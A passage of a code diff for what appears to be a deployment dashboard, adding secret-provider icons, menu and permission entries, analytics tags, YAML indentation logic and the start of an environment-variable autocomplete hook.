d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
fill="url(#paint4_linear_1068_18455)"
/>
<path
d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
fill="url(#paint5_radial_1068_18455)"
fill-opacity="0.94"
/>
<path
d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
fill="url(#paint6_radial_1068_18455)"
fill-opacity="0.1"
/>
<path
d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
fill="url(#paint7_linear_1068_18455)"
/>
<path
d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
fill="url(#paint8_linear_1068_18455)"
fill-opacity="0.46"
/>
<path
d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
fill="url(#paint9_linear_1068_18455)"
fill-opacity="0.66"
/>
<path
d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
fill="url(#paint10_linear_1068_18455)"
fill-opacity="0.67"
/>
<path
d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
fill="url(#paint11_linear_1068_18455)"
/>
<path
d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
fill="url(#paint12_radial_1068_18455)"
fill-opacity="0.94"
/>
<path
d="M14.1852 24.3911C10.7562 21.2887 10.6228 15.9476 13.8926 12.6779C17.1623 9.40812 22.5033 9.54156 25.6057 12.9705L35.3591 23.7506C37.99 26.6584 37.8785 31.1183 35.1058 33.8911C32.333 36.6639 27.873 36.7753 24.9653 34.1444L14.1852 24.3911Z"
fill="url(#paint13_radial_1068_18455)"
fill-opacity="0.1"
/>
<path
d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
fill="url(#paint14_linear_1068_18455)"
/>
<path
d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
fill="url(#paint15_linear_1068_18455)"
fill-opacity="0.46"
/>
<path
d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
fill="url(#paint16_linear_1068_18455)"
fill-opacity="0.66"
/>
<path
d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
fill="url(#paint17_linear_1068_18455)"
fill-opacity="0.67"
/>
<path
d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
fill="url(#paint18_linear_1068_18455)"
/>
<path
d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
fill="url(#paint19_radial_1068_18455)"
fill-opacity="0.94"
/>
<path
d="M90.0279 30.3514C94.4292 28.933 99.1214 31.488 100.318 35.9545C101.515 40.4211 98.7289 44.9798 94.2081 45.9521L79.9957 49.0088C76.162 49.8333 72.3553 47.5068 71.3404 43.7191C70.3255 39.9314 72.459 36.0133 76.1912 34.8105L90.0279 30.3514Z"
fill="url(#paint20_radial_1068_18455)"
fill-opacity="0.1"
/>
<path
d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
fill="url(#paint21_linear_1068_18455)"
/>
<path
d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
fill="url(#paint22_linear_1068_18455)"
fill-opacity="0.46"
/>
<path
d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
fill="url(#paint23_linear_1068_18455)"
fill-opacity="0.66"
/>
<path
d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
fill="url(#paint24_linear_1068_18455)"
fill-opacity="0.67"
/>
<path
d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
fill="url(#paint25_linear_1068_18455)"
/>
<path
d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
fill="url(#paint26_radial_1068_18455)"
fill-opacity="0.94"
/>
<path
d="M46.5794 93.3443C45.6071 97.8651 41.0484 100.651 36.5818 99.4544C32.1152 98.2575 29.5603 93.5654 30.9786 89.1641L35.4378 75.3274C36.6405 71.5952 40.5587 69.4617 44.3464 70.4766C48.134 71.4915 50.4605 75.2982 49.636 79.1318L46.5794 93.3443Z"
fill="url(#paint27_radial_1068_18455)"
fill-opacity="0.1"
/>
<defs>
<linearGradient
id="paint0_linear_1068_18455"
x1="7.23327"
y1="62.3326"
x2="48.1235"
y2="30.169"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#FF9EFA" />
<stop offset="0.422647" stopColor="#F55C15" stopOpacity="0.84" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint1_linear_1068_18455"
x1="55.6034"
y1="45.8768"
x2="41.1422"
y2="93.9976"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#A73394" stopOpacity="0" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint2_linear_1068_18455"
x1="84.0271"
y1="87.0164"
x2="39.3969"
y2="54.6034"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.385417" stopColor="#6B13F5" />
<stop offset="1" stopColor="#E2606E" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint3_linear_1068_18455"
x1="25.9331"
y1="4.73728"
x2="29.9223"
y2="37.8983"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.182292" stopColor="#6B13F5" />
<stop offset="1" stopColor="#CB4758" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint4_linear_1068_18455"
x1="64.5793"
y1="35.9036"
x2="37.6516"
y2="52.3594"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#6B13F5" />
<stop offset="1" stopColor="#E46373" stopOpacity="0" />
</linearGradient>
<radialGradient
id="paint5_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(38.6489 53.1074) rotate(176.204) scale(52.7244 138.365)"
>
<stop stopColor="#F55C15" stopOpacity="0.46" />
<stop offset="0.831969" stopColor="#EE82C6" stopOpacity="0" />
</radialGradient>
<radialGradient
id="paint6_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(-1.49331 68.0673) rotate(-19.7843) scale(36.8309 36.7807)"
>
<stop stopColor="#FF9EFA" />
<stop offset="1" stopColor="#DD5A68" stopOpacity="0" />
</radialGradient>
<linearGradient
id="paint7_linear_1068_18455"
x1="7.23327"
y1="62.3326"
x2="48.1235"
y2="30.169"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#FF9EFA" />
<stop offset="0.422647" stopColor="#F55C15" stopOpacity="0.84" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint8_linear_1068_18455"
x1="55.6034"
y1="45.8768"
x2="41.1422"
y2="93.9976"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#A73394" stopOpacity="0" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint9_linear_1068_18455"
x1="84.0271"
y1="87.0164"
x2="39.3969"
y2="54.6034"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.385417" stopColor="#6B13F5" />
<stop offset="1" stopColor="#E2606E" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint10_linear_1068_18455"
x1="25.9331"
y1="4.73728"
x2="29.9223"
y2="37.8983"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.182292" stopColor="#6B13F5" />
<stop offset="1" stopColor="#CB4758" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint11_linear_1068_18455"
x1="64.5793"
y1="35.9036"
x2="37.6516"
y2="52.3594"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#6B13F5" />
<stop offset="1" stopColor="#E46373" stopOpacity="0" />
</linearGradient>
<radialGradient
id="paint12_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(38.6489 53.1074) rotate(176.204) scale(52.7244 138.365)"
>
<stop stopColor="#F55C15" stopOpacity="0.46" />
<stop offset="0.831969" stopColor="#EE82C6" stopOpacity="0" />
</radialGradient>
<radialGradient
id="paint13_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(-1.49331 68.0673) rotate(-19.7843) scale(36.8309 36.7807)"
>
<stop stopColor="#FF9EFA" />
<stop offset="1" stopColor="#DD5A68" stopOpacity="0" />
</radialGradient>
<linearGradient
id="paint14_linear_1068_18455"
x1="7.23327"
y1="62.3326"
x2="48.1235"
y2="30.169"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#FF9EFA" />
<stop offset="0.422647" stopColor="#F55C15" stopOpacity="0.84" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint15_linear_1068_18455"
x1="55.6034"
y1="45.8768"
x2="41.1422"
y2="93.9976"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#A73394" stopOpacity="0" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint16_linear_1068_18455"
x1="84.0271"
y1="87.0164"
x2="39.3969"
y2="54.6034"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.385417" stopColor="#6B13F5" />
<stop offset="1" stopColor="#E2606E" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint17_linear_1068_18455"
x1="25.9331"
y1="4.73728"
x2="29.9223"
y2="37.8983"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.182292" stopColor="#6B13F5" />
<stop offset="1" stopColor="#CB4758" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint18_linear_1068_18455"
x1="64.5793"
y1="35.9036"
x2="37.6516"
y2="52.3594"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#6B13F5" />
<stop offset="1" stopColor="#E46373" stopOpacity="0" />
</linearGradient>
<radialGradient
id="paint19_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(38.6489 53.1074) rotate(176.204) scale(52.7244 138.365)"
>
<stop stopColor="#F55C15" stopOpacity="0.46" />
<stop offset="0.831969" stopColor="#EE82C6" stopOpacity="0" />
</radialGradient>
<radialGradient
id="paint20_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(-1.49331 68.0673) rotate(-19.7843) scale(36.8309 36.7807)"
>
<stop stopColor="#FF9EFA" />
<stop offset="1" stopColor="#DD5A68" stopOpacity="0" />
</radialGradient>
<linearGradient
id="paint21_linear_1068_18455"
x1="7.23327"
y1="62.3326"
x2="48.1235"
y2="30.169"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#FF9EFA" />
<stop offset="0.422647" stopColor="#F55C15" stopOpacity="0.84" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint22_linear_1068_18455"
x1="55.6034"
y1="45.8768"
x2="41.1422"
y2="93.9976"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#A73394" stopOpacity="0" />
<stop offset="1" stopColor="#6B13F5" />
</linearGradient>
<linearGradient
id="paint23_linear_1068_18455"
x1="84.0271"
y1="87.0164"
x2="39.3969"
y2="54.6034"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.385417" stopColor="#6B13F5" />
<stop offset="1" stopColor="#E2606E" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint24_linear_1068_18455"
x1="25.9331"
y1="4.73728"
x2="29.9223"
y2="37.8983"
gradientUnits="userSpaceOnUse"
>
<stop offset="0.182292" stopColor="#6B13F5" />
<stop offset="1" stopColor="#CB4758" stopOpacity="0" />
</linearGradient>
<linearGradient
id="paint25_linear_1068_18455"
x1="64.5793"
y1="35.9036"
x2="37.6516"
y2="52.3594"
gradientUnits="userSpaceOnUse"
>
<stop stopColor="#6B13F5" />
<stop offset="1" stopColor="#E46373" stopOpacity="0" />
</linearGradient>
<radialGradient
id="paint26_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(38.6489 53.1074) rotate(176.204) scale(52.7244 138.365)"
>
<stop stopColor="#F55C15" stopOpacity="0.46" />
<stop offset="0.831969" stopColor="#EE82C6" stopOpacity="0" />
</radialGradient>
<radialGradient
id="paint27_radial_1068_18455"
cx="0"
cy="0"
r="1"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(-1.49331 68.0673) rotate(-19.7843) scale(36.8309 36.7807)"
>
<stop stopColor="#FF9EFA" />
<stop offset="1" stopColor="#DD5A68" stopOpacity="0" />
</radialGradient>
</defs>
</svg>
);
export const AzureIcon = ({ className }: Props) => (
<svg
viewBox="0 0 96 96"
fill="none"
xmlns="http://www.w3.org/2000/svg"
className={className}
>
<defs>
<linearGradient
id="a"
x1="-1032.17"
x2="-1059.21"
y1="145.31"
y2="65.43"
gradientTransform="matrix(1 0 0 -1 1075 158)"
gradientUnits="userSpaceOnUse"
>
<stop offset="0" stopColor="#114a8b" />
<stop offset="1" stopColor="#0669bc" />
</linearGradient>
<linearGradient
id="b"
x1="-1023.73"
x2="-1029.98"
y1="108.08"
y2="105.97"
gradientTransform="matrix(1 0 0 -1 1075 158)"
gradientUnits="userSpaceOnUse"
>
<stop offset="0" stopOpacity=".3" />
<stop offset=".07" stopOpacity=".2" />
<stop offset=".32" stopOpacity=".1" />
<stop offset=".62" stopOpacity=".05" />
<stop offset="1" stopOpacity="0" />
</linearGradient>
<linearGradient
id="c"
x1="-1027.16"
x2="-997.48"
y1="147.64"
y2="68.56"
gradientTransform="matrix(1 0 0 -1 1075 158)"
gradientUnits="userSpaceOnUse"
>
<stop offset="0" stopColor="#3ccbf4" />
<stop offset="1" stopColor="#2892df" />
</linearGradient>
</defs>
<path
fill="url(#a)"
d="M33.34 6.54h26.04l-27.03 80.1a4.15 4.15 0 0 1-3.94 2.81H8.15a4.14 4.14 0 0 1-3.93-5.47L29.4 9.38a4.15 4.15 0 0 1 3.94-2.83z"
/>
<path
fill="#0078d4"
d="M71.17 60.26H29.88a1.91 1.91 0 0 0-1.3 3.31l26.53 24.76a4.17 4.17 0 0 0 2.85 1.13h23.38z"
/>
<path
fill="url(#b)"
d="M33.34 6.54a4.12 4.12 0 0 0-3.95 2.88L4.25 83.92a4.14 4.14 0 0 0 3.91 5.54h20.79a4.44 4.44 0 0 0 3.4-2.9l5.02-14.78 17.91 16.7a4.24 4.24 0 0 0 2.67.97h23.29L71.02 60.26H41.24L59.47 6.55z"
/>
<path
fill="url(#c)"
d="M66.6 9.36a4.14 4.14 0 0 0-3.93-2.82H33.65a4.15 4.15 0 0 1 3.93 2.82l25.18 74.62a4.15 4.15 0 0 1-3.93 5.48h29.02a4.15 4.15 0 0 0 3.93-5.48z"
/>
</svg>
);
export const vaultProviderIcons = {
hashicorp: HashicorpVaultIcon,
infisical: InfisicalIcon,
aws: AwsIcon,
doppler: DopplerIcon,
azure: AzureIcon,
} as const;
+8 -24
View File
@@ -25,10 +25,8 @@ import {
Loader2,
LogIn,
type LucideIcon,
Network,
Package,
Palette,
PieChart,
Rocket,
Server,
ShieldCheck,
@@ -37,6 +35,7 @@ import {
Trash2,
User,
Users,
Vault,
} from "lucide-react";
import Link from "next/link";
import { usePathname } from "next/navigation";
@@ -202,28 +201,6 @@ const MENU: Menu = {
// Only enabled for users with access to Docker
isEnabled: ({ permissions }) => !!permissions?.docker.read,
},
{
isSingle: true,
title: "Swarm",
url: "/dashboard/swarm",
icon: PieChart,
// Only enabled for users with access to Docker
isEnabled: ({ permissions }) => !!permissions?.docker.read,
},
{
isSingle: true,
title: "Networks",
url: "/dashboard/networks",
icon: Network,
// Only enabled for admins and users with access to Docker in non-cloud environments
isEnabled: ({ auth, isCloud }) =>
!!(
(auth?.role === "owner" ||
auth?.role === "admin" ||
auth?.canAccessToDocker) &&
!isCloud
),
},
{
isSingle: true,
title: "Requests",
@@ -374,6 +351,13 @@ const MENU: Menu = {
icon: Package,
isEnabled: ({ permissions }) => !!permissions?.registry.read,
},
{
isSingle: true,
title: "Secrets",
url: "/dashboard/settings/secrets",
icon: Vault,
isEnabled: ({ permissions }) => !!permissions?.vaultProvider.create,
},
{
isSingle: true,
title: "S3 Destinations",
@@ -163,6 +163,11 @@ const RESOURCE_META: Record<string, { label: string; description: string }> = {
label: "Audit Logs",
description: "View the audit log of actions performed in the organization",
},
vaultProvider: {
label: "Secrets Providers",
description:
"Manage external secret managers (HashiCorp Vault, AWS, Azure, Infisical, Doppler) and where their secrets can be referenced",
},
};
/** Descriptions for each action within a resource */
@@ -419,6 +424,22 @@ const ACTION_META: Record<
auditLog: {
read: { label: "Read", description: "View the audit log history" },
},
vaultProvider: {
read: {
label: "Read",
description: "View providers and secret names for env autocomplete",
},
create: {
label: "Create",
description: "Connect new secret providers and test their connection",
},
update: {
label: "Update",
description:
"Edit provider credentials and project/environment assignments",
},
delete: { label: "Delete", description: "Remove secret providers" },
},
};
/** Resources that should be hidden from the custom role editor (better-auth internals) */
@@ -1,24 +1,32 @@
"use client";
import Head from "next/head";
import { useTheme } from "next-themes";
import { api } from "@/utils/api";
export function WhitelabelingProvider() {
const { resolvedTheme } = useTheme();
const { data: config } = api.whitelabeling.getPublic.useQuery(undefined, {
staleTime: 5 * 60 * 1000,
refetchOnWindowFocus: false,
});
if (!config) return null;
const faviconHref =
config?.faviconUrl ??
(resolvedTheme === "dark"
? "/icon-dark.svg"
: resolvedTheme === "light"
? "/icon-light.svg"
: "/icon.svg");
return (
<>
<Head>
{config.metaTitle && <title>{config.metaTitle}</title>}
{config.faviconUrl && <link rel="icon" href={config.faviconUrl} />}
{config?.metaTitle && <title>{config.metaTitle}</title>}
<link rel="icon" href={faviconHref} key="app-favicon" />
</Head>
{config.customCss && (
{config?.customCss && (
<style
id="whitelabeling-styles"
dangerouslySetInnerHTML={{
@@ -0,0 +1,86 @@
import { useRouter } from "next/router";
import Script from "next/script";
import { useEffect } from "react";
import { GTM_ID, pushToDataLayer } from "@/lib/analytics";
import { api } from "@/utils/api";
/**
* Loads Google Tag Manager and the HubSpot marketing tag on the cloud
* version only, and translates tracking query params appended by the
* auth/billing flows (?signup=..., ?subscription=new) into dataLayer events.
*/
export const Analytics = () => {
const router = useRouter();
const { data: isCloud } = api.settings.isCloud.useQuery();
useEffect(() => {
if (!isCloud || !router.isReady) {
return;
}
const { signup, subscription, tier, ...rest } = router.query;
if (typeof signup === "string" && signup.length > 0) {
pushToDataLayer("sign_up", { method: signup });
}
if (subscription === "new") {
pushToDataLayer("new_subscription", {
...(typeof tier === "string" ? { tier } : {}),
});
}
if (signup !== undefined || subscription !== undefined) {
router.replace({ pathname: router.pathname, query: rest }, undefined, {
shallow: true,
});
}
}, [isCloud, router.isReady, router.query, router.pathname, router.replace]);
if (!isCloud) {
return null;
}
return (
<>
<Script id="analytics-init" strategy="afterInteractive">
{`
window.hsConversationsSettings = { loadImmediately: false };
(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','${GTM_ID}');
`}
</Script>
<Script
id="hs-script-loader"
type="text/javascript"
src="//js-eu1.hs-scripts.com/147033433.js"
strategy="lazyOnload"
async
defer
/>
</>
);
};
/**
* The HubSpot script is loaded app-wide for marketing tracking, but the
* conversations (chat) widget stays restricted to startup plan customers.
*/
export const useHubSpotChat = (enabled: boolean) => {
useEffect(() => {
if (!enabled) {
return;
}
const loadWidget = () => {
window.HubSpotConversations?.widget.load();
};
if (window.HubSpotConversations) {
loadWidget();
} else {
window.hsConversationsOnReady = [
...(window.hsConversationsOnReady || []),
loadWidget,
];
}
}, [enabled]);
};
+37 -5
View File
@@ -3,11 +3,16 @@ import {
type Completion,
type CompletionContext,
type CompletionResult,
type CompletionSource,
} from "@codemirror/autocomplete";
import { css } from "@codemirror/lang-css";
import { json } from "@codemirror/lang-json";
import { yaml } from "@codemirror/lang-yaml";
import { StreamLanguage } from "@codemirror/language";
import {
getIndentUnit,
indentService,
StreamLanguage,
} from "@codemirror/language";
import { properties } from "@codemirror/legacy-modes/mode/properties";
import { shell } from "@codemirror/legacy-modes/mode/shell";
import { search, searchKeymap } from "@codemirror/search";
@@ -98,6 +103,27 @@ const dockerComposeServiceOptions = [
},
}));
// The indentNodeProp shipped with @codemirror/lang-yaml computes wrong
// column-based indents on Enter (odd/inconsistent amounts, see #4650), so
// indentation is resolved line-based here: keep the current indent, align
// list-entry keys after the dash marker, and go one unit deeper after a
// line that opens a block (ending in ":", "|" or ">").
const yamlIndent = indentService.of((context, pos) => {
const line = context.state.doc.lineAt(pos);
const before = context.state.doc.sliceString(line.from, pos);
const indent = /^ */.exec(before)?.[0].length ?? 0;
const trimmed = before.trim();
if (!trimmed || trimmed.startsWith("#")) {
return indent;
}
const base =
trimmed.startsWith("- ") && /:\s/.test(trimmed) ? indent + 2 : indent;
if (/[:|>]$/.test(trimmed)) {
return base + getIndentUnit(context.state);
}
return base;
});
function dockerComposeComplete(
context: CompletionContext,
): CompletionResult | null {
@@ -135,6 +161,7 @@ interface Props extends ReactCodeMirrorProps {
language?: "yaml" | "json" | "properties" | "shell" | "css";
lineWrapping?: boolean;
lineNumbers?: boolean;
completionSource?: CompletionSource;
}
export const CodeEditor = ({
@@ -142,6 +169,7 @@ export const CodeEditor = ({
wrapperClassName,
language = "yaml",
lineNumbers = true,
completionSource,
...props
}: Props) => {
const { resolvedTheme } = useTheme();
@@ -160,7 +188,7 @@ export const CodeEditor = ({
search(),
keymap.of(searchKeymap),
language === "yaml"
? yaml()
? [yamlIndent, yaml()]
: language === "json"
? json()
: language === "css"
@@ -175,11 +203,15 @@ export const CodeEditor = ({
languageData: { commentTokens: { line: "#" } },
}),
props.lineWrapping ? EditorView.lineWrapping : [],
language === "yaml"
completionSource
? autocompletion({
override: [dockerComposeComplete],
override: [completionSource],
})
: [],
: language === "yaml"
? autocompletion({
override: [dockerComposeComplete],
})
: [],
]}
{...props}
editable={!props.disabled}
@@ -0,0 +1,193 @@
import {
type Completion,
type CompletionContext,
type CompletionResult,
startCompletion,
} from "@codemirror/autocomplete";
import type { EditorView } from "@codemirror/view";
import { useCallback } from "react";
import { api } from "@/utils/api";
interface Options {
projectEnv?: string | null;
environmentEnv?: string | null;
includeShared?: boolean;
projectId?: string;
environmentId?: string;
}
const parseKeys = (env?: string | null) =>
(env ?? "")
.split("\n")
.map((line) => line.trim())
.filter((line) => line && !line.startsWith("#") && line.includes("="))
.map((line) => line.slice(0, line.indexOf("=")).trim())
.filter((key) => /^[A-Za-z_][A-Za-z0-9_]*$/.test(key));
const applyAndContinue = (
view: EditorView,
completion: Completion,
from: number,
to: number,
) => {
view.dispatch({
changes: { from, to, insert: completion.label },
selection: { anchor: from + completion.label.length },
});
startCompletion(view);
};
const applyAndClose = (
view: EditorView,
completion: Completion,
from: number,
to: number,
) => {
const alreadyClosed = view.state.sliceDoc(to, to + 2) === "}}";
const insert = completion.label + (alreadyClosed ? "" : "}}");
view.dispatch({
changes: { from, to, insert },
selection: {
anchor: from + completion.label.length + 2,
},
});
};
export const useEnvCompletionSource = ({
projectEnv,
environmentEnv,
includeShared = true,
projectId,
environmentId,
}: Options = {}) => {
const { data: allProviders } = api.vaultProvider.all.useQuery();
const utils = api.useUtils();
const providers = projectId
? allProviders?.filter((provider) =>
provider.assignments?.some(
(assignment) =>
assignment.projectId === projectId &&
(assignment.environmentIds.length === 0 ||
!environmentId ||
assignment.environmentIds.includes(environmentId)),
),
)
: [];
return useCallback(
async (context: CompletionContext): Promise<CompletionResult | null> => {
const match = context.matchBefore(/\$\{\{[^}\n]*$/);
if (!match) return null;
const inner = match.text.slice(3);
const innerFrom = match.from + 3;
